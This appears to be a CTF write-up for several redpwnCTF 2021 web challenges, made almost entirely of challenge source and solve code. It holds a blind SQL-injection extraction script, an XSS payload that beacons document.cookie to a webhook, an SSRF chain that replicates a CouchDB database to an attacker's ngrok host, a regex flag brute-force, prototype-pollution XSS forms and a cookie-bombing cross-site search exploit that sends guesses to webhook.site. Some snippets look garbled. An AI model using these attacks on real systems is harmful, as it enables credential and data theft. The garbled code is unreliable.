RedpwnCTF2021 Wp

const crypto = require('crypto');
const express = require('express');

const db = require('better-sqlite3')('db.sqlite3');
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT,
    password TEXT
);`);
db.exec(`INSERT INTO users (username, password) VALUES (
    '${btoa('admin')}',
    '${btoa(crypto.randomUUID)}'
)`);

const app = express();

app.use(
  require('body-parser').urlencoded({
    extended: false,
  })
);

app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password)
    return res.redirect('/?message=Username and password required!');

  const query = `SELECT id FROM users WHERE
          username = '${req.body.username}' AND
          password = '${req.body.password}';`;
  try {
    const id = db.prepare(query).get()?.id;

    if (id) return res.redirect(`/?message=${process.env.FLAG}`);
    else throw new Error('Incorrect login');
  } catch {
    return res.redirect(
      `/?message=Incorrect username or password. Query: ${query}`
    );
  }
});

def init():
    # this is terrible but who cares
    execute('''
        CREATE TABLE IF NOT EXISTS users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    ''')
    execute('DROP TABLE users;')
    execute('''
        CREATE TABLE users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    ''')

    # put ginkoid into db
    ginkoid_password = generate_token()
    execute(
        'INSERT OR IGNORE INTO users (username, password)'
        f'VALUES (\'ginkoid\', \'{ginkoid_password}\');'
    )
    execute(
        f'UPDATE users SET password=\'{ginkoid_password}\''
        f'WHERE username=\'ginkoid\';'
    )

def create_user(username, password):
    if any(c not in allowed_characters for c in username):
        return (False, 'Alphanumeric usernames only, please.')
    if len(username) < 1:
        return (False, 'Username is too short.')
    if len(password) > 50:
        return (False, 'Password is too long.')
    other_users = execute(
        f'SELECT * FROM users WHERE username=\'{username}\';'
    )
    if len(other_users) > 0:
        return (False, 'Username taken.')
    execute(
        'INSERT INTO users (username, password)'
        f'VALUES (\'{username}\', \'{password}\');' # passwd部分可控
    )
    return (True, '')

import time
import requests
url = "https://cool.mc.ax/"
# url = "http://127.0.0.1:5000/"

prefix = "asdfjwfoijweoijfojiewfj"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
val = ""
for i in range(32):
    username = prefix + str(time.time_ns()).replace("0", "")	# 注意白名单里没有0 要换掉
    password = f"'||(select substr(password,{i+1},1) from users)||'"
    resp = requests.post(url + "register", data={"username": username, "password": password}).text
    for c in charset:
        resp = requests.post(url, data={"username": username, "password": c}).text
        if "Incorrect" not in resp:
            print(c)
            val += c
            break
print(val)

password = f"'||(select substr(password,{i+1},1) from users)||'"

excute('INSERT INTO users (username, password)' f'VALUES (\'{username}\', \'{password}\');')

excute('INSERT INTO users(username, password)' values ('xxxxusernamexxxx', ''||(select substr(password,n,1) from users)||''))

import asyncio
import random

import aiohttp

allowed = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
url = '<https://cool.mc.ax/>'

n = 32
final = dict()

async def try_pass(sem, username, password, index):
    params = {
        'username': username,
        'password': password,
    }
    async with sem:
        async with aiohttp.ClientSession() as session:
            async with session.post(url, data=params) as resp:
                result = await resp.text()
                if 'Incorrect' not in result:
                    print(f'password[{index}]: {password}')
                    final[index] = password

async def get_char(sem, index):
    # random username since otherwise we error
    username = ''.join(random.choices(allowed, k=32))
    payload = f"'||(SELECT substr(password,{index+1},1) FROM users)||'"
    assert(len(payload) <= 50)

    params = {
        'username': username,
        'password': payload,
    }

    async with sem:
        async with aiohttp.ClientSession() as session:
            await session.post(url + 'register', data=params)

    tasks = []
    for c in allowed:
        tasks.append(try_pass(sem, username, c, index))

    await asyncio.gather(*tasks)

async def main():
    # without this we get an OSError due to too many open file descriptors
    sem = asyncio.Semaphore(300)

    index_tasks = []
    for i in range(n):
        index_tasks.append(get_char(sem, i))

    await asyncio.gather(*index_tasks)

    password = ''
    for i in range(len(final)):
        password += final[i]

    print(f"Password: {password}")

asyncio.run(main())

<!DOCTYPE html>
<html>
    <body>
        <script>
            window.open("https://notes.mc.ax/view/<username>", "navigator.sendBeacon('<webhook server>', document.cookie)");
        </script>
    </body>
</html>

public class Main {
    public static Database db;

    public static String flag;

    public static void main(String[] args) {
        String adminUser = System.getenv("adminUser");
        String adminPassword = System.getenv("adminPassword");
        flag = System.getenv("flag");
        String javalinEnv = System.getenv("javalinEnv");
        db = new Database(adminUser, adminPassword);
        db.initializeDatabase();
        JavalinJte.configure(createTemplateEngine(javalinEnv));
        Javalin app = Javalin.create().start(8080);
        app.get("/", ctx -> ctx.render("index.jte"));
        app.get("/createUser", Handlers::createUser);
        app.get("/testAPI", Handlers::testAPI);
    }
}

private final String adminUsername;
private final String adminPassword;

public Database(String adminUsername, String adminPassword) {
    this.adminUsername = adminUsername;
    this.adminPassword = adminPassword;
}

private String getDbString() {
    return "http://" + this.adminUsername + ":" + this.adminPassword + "@couchdb:5984/";
}

private boolean validateAlphanumeric(String name) {
    return name.matches("^[a-zA-Z0-9_]*$");
}

public void createDatabase(String name) throws Exception {
    if (name.length() > 16 || !validateAlphanumeric(name))
      throw new Exception("Illegal name");
    JSONObject res = HttpClient.putAPI(getDbString() + getDbString(), "");
    if (!res.has("ok") || !res.getBoolean("ok"))
      throw new Exception("Database creation failed");
  }

  public void initializeDatabase() {
    try {
      createDatabase("_replicator");
    } catch (Exception e) {
      Utils.logException(e);
      System.out.println("Replicator already initialized");
    }
    try {
      createDatabase("_users");
    } catch (Exception e) {
      Utils.logException(e);
      System.out.println("Users already initialized");
    }
    try {
      createDatabase("log");
    } catch (Exception e) {
      Utils.logException(e);
      System.out.println("Log already initialized");
    }
}

public void createUser(String name, String password) throws Exception {
    if (name.length() > 16 || !validateAlphanumeric(name))
      throw new Exception("Illegal name");
    if (password.length() > 16 || !validateAlphanumeric(password))
      throw new Exception("Illegal password");
    // ... boring java stuff
    JSONObject res = HttpClient.putAPI(getDbString() + "_users/org.couchdb.user:" + getDbString(), userObj.toString());
    // ... boring java stuff
  }

public void addUserToDatabase(String dbName, String username) throws Exception {
    if (dbName.length() > 16 || !validateAlphanumeric(dbName))
      throw new Exception("Illegal dbname");
    if (username.length() > 16 || !validateAlphanumeric(username))
      throw new Exception("Illegal username");
   // ... boring java stuff
    JSONObject res = HttpClient.putAPI(getDbString() + getDbString() + "/_security", configObj.toString());
    // ... boring java stuff
  }

  public void insertDocumentToDatabase(String dbName, String document) throws Exception {
    // ... boring java stuff
    JSONObject res = HttpClient.postAPI(getDbString() + getDbString(), document);
    // ... boring java stuff
  }

public static void createUser(Context ctx) {
	String username = (String)ctx.queryParam("username", String.class).get();
    String password = (String)ctx.queryParam("password", String.class).get();
    try {
        Main.db.createDatabase(username);
        Main.db.createUser(username, password);
        Main.db.addUserToDatabase(username, username);
        JSONObject flagDoc = new JSONObject();
        flagDoc.put("flag", Main.flag);
        Main.db.insertDocumentToDatabase(username, flagDoc.toString());
        ctx.result("success");
    } catch (Exception e) {
		throw new InternalServerErrorResponse("Something went wrong");
    }
}

public static void testAPI(Context ctx) {
	String url = (String)ctx.queryParam("url", String.class).get();
    String method = (String)ctx.queryParam("method", String.class).get();
    String data = ctx.queryParam("data");
    try {
		URL urlURI = new URL(url);
		if (urlURI.getHost().contains("couchdb"))
			throw new ForbiddenResponse("Illegal!");
	} catch (MalformedURLException e) {
		throw new BadRequestResponse("Input URL is malformed");
	}
	try {
		if (method.equals("GET")) {
			JSONObject jsonObj = HttpClient.getAPI(url);
			String str = jsonObj.toString();
		} else if (method.equals("POST")) {
			JSONObject jsonObj = HttpClient.postAPI(url, data);
			String stringJsonObj = jsonObj.toString();
			if (Utils.containsFlag(stringJsonObj))
				throw new ForbiddenResponse("Illegal!");
		} else {
			throw new BadRequestResponse("Request method is not accepted");
		}
	} catch (Exception e) {
			throw new InternalServerErrorResponse("Something went wrong");
	}
	ctx.result("success");
}

$ curl localhost:8080/testAPI?url=https://couchdb:5984/\&method=GET
Illegal!

$ curl http://localhost:8080/createUser?username=neptunian\&password=neptunian
# Creating user
success

$ curl -s http://neptunian:neptunian@couchdb:5984/neptunian/_all_docs | jq
# Listing "neptunian" database documents, using our credentials (jq formats our JSON output)
{
  "total_rows": 1,
  "offset": 0,
  "rows": [
    {
      "id": "99ea668366ac9d5d74fd2bc91c00ed5b",
      "key": "99ea668366ac9d5d74fd2bc91c00ed5b",
      "value": {
        "rev": "1-cee1919fc2eda9a6068ed2792608a9dd"
      }
    }
  ]
}

$ curl -s http://neptunian:neptunian@couchdb:5984/neptunian/99ea668366ac9d5d74fd2bc91c00ed5b | jq
# Check details of document id 99ea668366ac9d5d74fd2bc91c00ed5b
{
  "_id": "99ea668366ac9d5d74fd2bc91c00ed5b",
  "_rev": "1-cee1919fc2eda9a6068ed2792608a9dd",
  "flag": "flag{fake}"
}

$ curl -vv http://localhost:8080/testAPI?method=GET\&url=http://neptunian:neptunian\@couchdb\:5984\@couchdb\:5984/neptunian
...
success

import requests
import json

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
}

# Simple POST Test
params = (
    ('url', 'http://neptunian:neptunian@couchdb:5984@couchdb:5984/neptunian'),
    ('method', 'POST'),
    ('data',
        json.dumps({
            "some_int": 1,
            "some_string": "c"
        })
    )
)

# Local
response = requests.get('http://localhost:8080/testAPI', headers=headers, params=params)

print(response.text)

$ curl -s http://neptunian:neptunian@couchdb:5984/neptunian/_all_docs | jq
{
  "total_rows": 2,
  "offset": 0,
  "rows": [
    {
      "id": "99ea668366ac9d5d74fd2bc91c00ed5b",
      "key": "99ea668366ac9d5d74fd2bc91c00ed5b",
      "value": {
        "rev": "1-cee1919fc2eda9a6068ed2792608a9dd"
      }
    },
    {
      "id": "99ea668366ac9d5d74fd2bc91c00fd09",
      "key": "99ea668366ac9d5d74fd2bc91c00fd09",
      "value": {
        "rev": "1-f8744c7d9e172ac4b188fbb8f337a204"
      }
    }
  ]
}
# There is a new ID 99ea668366ac9d5d74fd2bc91c00fd09!

$ curl -s http://neptunian:neptunian@couchdb:5984/neptunian/99ea668366ac9d5d74fd2bc91c00fd09 | jq
{
  "_id": "99ea668366ac9d5d74fd2bc91c00fd09",
  "_rev": "1-f8744c7d9e172ac4b188fbb8f337a204",
  "some_int": 1,
  "some_string": "c"
}

{
    "source": "source_db_name",
    "target": "http://dest_user:dest_password@destination_host/dest_database"
}

$ curl -X PUT https://tempadm:tempadm12@2d0a4710580a.ngrok.io/neptunian_flag
{"ok":true}

import requests
import json

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
}

# POST Replication
params = (
    ('url', 'http://neptunian:neptunian@couchdb:5984@couchdb:5984/_replicate'),
    ('method', 'POST'),
    ('data',
        json.dumps({
            "source": "neptunian",
            "target": "https://tempadm:tempadm12@2d0a4710580a.ngrok.io/neptunian_flag"
        })
    )
)

# response = requests.get('http://localhost:8080/testAPI', headers=headers, params=params)
response = requests.get('https://requester.mc.ax/testAPI', headers=headers, params=params)

print(response.text)

$ curl -s http://tempadm:tempadm12@couchdb:5984/flagdb/_all_docs | jq
{
  "total_rows": 1,
  "offset": 0,
  "rows": [
    {
      "id": "d139bf6ab1733d779f64e9c6c4026de9",
      "key": "d139bf6ab1733d779f64e9c6c4026de9",
      "value": {
        "rev": "1-4bb8f6dafef84b2d856fe1444f38b0a2"
      }
    }
  ]
}

$ curl -s http://tempadm:tempadm12@couchdb:5984/flagdb/d139bf6ab1733d779f64e9c6c4026de9 | jq
{
  "_id": "d139bf6ab1733d779f64e9c6c4026de9",
  "_rev": "1-4bb8f6dafef84b2d856fe1444f38b0a2",
  "flag": "flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}"
}

curl -X POST -H "Content-Type: application/json" 'http://strellicsquad:12345@couchdb:5984/strellicsquad/_find' --data '{"selector":{"flag": {"$regex": ".*"}}}'

import urllib.parse
import requests
import json
import string

# first, make a request to
# /createUser?username=strellicsquad&password=12345

alphabet = "etoanihsrdlucgwyfmpbkvjxqz{}_01234567890ETOANIHSRDLUCGWYFMPBKVJXQZ"

def test_regex(regex):
    url = "http://strellicsquad:12345@Couchdb:5984/strellicsquad/_find"
    data = json.dumps({"selector":{"flag": {"$regex": regex}}})
    r = requests.get(f"https://requester.mc.ax/testAPI/?url={urllib.parse.quote(url)}&method=POST&data={urllib.parse.quote(data)}")
    return "Something went wrong" in r.text

flag = "flag{"
while not flag.endswith("}"):
    for c in alphabet:
        check = "^" + flag + c + ".*"

        if test_regex(check):
            print(f"found {c} -> {flag}{c}")
            flag += c
            break

<form>
<fieldset name="__proto__">
            <input name="error" value="1" />
            <input name="message" value="<img src=x onerror='alert(1)'>" />
</fieldset>
<input value="Post Comment" type="submit" />
</form>

<form>
<fieldset name="__proto__">
            <input name="error" value="1" />
            <input name="message" value="<img src=x onerror='alert(1)'>" />
</fieldset>
<input value="Post Comment" type="submit" />
</form>

{}["__proto__"]["error"] = "1";
{}["__proto__"]["message"] = "<img src=x onerror='alert(1)'>";

<form>
<fieldset name="%255F_proto__">
            <input name="error" value="1" />
            <input name="message" value="<img src=x onerror='alert(1)'>" />
<input value="Post Comment" type="submit" />
</fieldset>
</form>

function probeError(url) {
  let script = document.createElement('script');
  script.src = url;
  script.onload = () => console.log('Onload event triggered');
  script.onerror = () => console.log('Error event triggered');
  document.head.appendChild(script);
}

const alphabet = "abcdefghijklmnopqrstuvwxyz0123456789{}_ABCDEFGHIJKLMNOPQRSTUVWXYZ";

function set() {
    document.cookie = `a=${'a'.repeat(4096-90)}; domain=.pastebin-3.mc.ax`
    document.cookie = `b=${'a'.repeat(4096-90)}; domain=.pastebin-3.mc.ax`
}

function unset() {
    document.cookie = `a=; domain=.pastebin-3.mc.ax`
    document.cookie = `b=; domain=.pastebin-3.mc.ax`
}

function probeError(url) {
    return new Promise(resolve => {
        let script = document.createElement('script');
        script.src = url;
        script.onload = () => resolve(false);
        script.onerror = () => resolve(true);
        document.head.appendChild(script);
    });
}

function wait(time) {
    return new Promise(resolve => {
        setTimeout(resolve, time);
    });
}

(async () => {
    let prefix = "flag{c00k13_b0mb1n6_15_f4k3_vu";
    set();
    navigator.sendBeacon('https://webhook.site/e66e7e4f-1004-411a-86c9-71df69f20dd7?loaded');
    while (!prefix.endsWith('}')) {
        for (let i = 0; i < alphabet.length; i++) {
            let attempt = prefix + alphabet[i];

            let subwindow = window.open("https://pastebin-3.mc.ax/search?query=" + encodeURIComponent(attempt));
            await wait(500);
            subwindow.close();

            if (await probeError("https://pastebin-3.mc.ax/home")) {
                navigator.sendBeacon('https://webhook.site/e66e7e4f-1004-411a-86c9-71df69f20dd7?' + attempt);
                unset();
                prefix = attempt;
                break;
            }
        }
    }
})();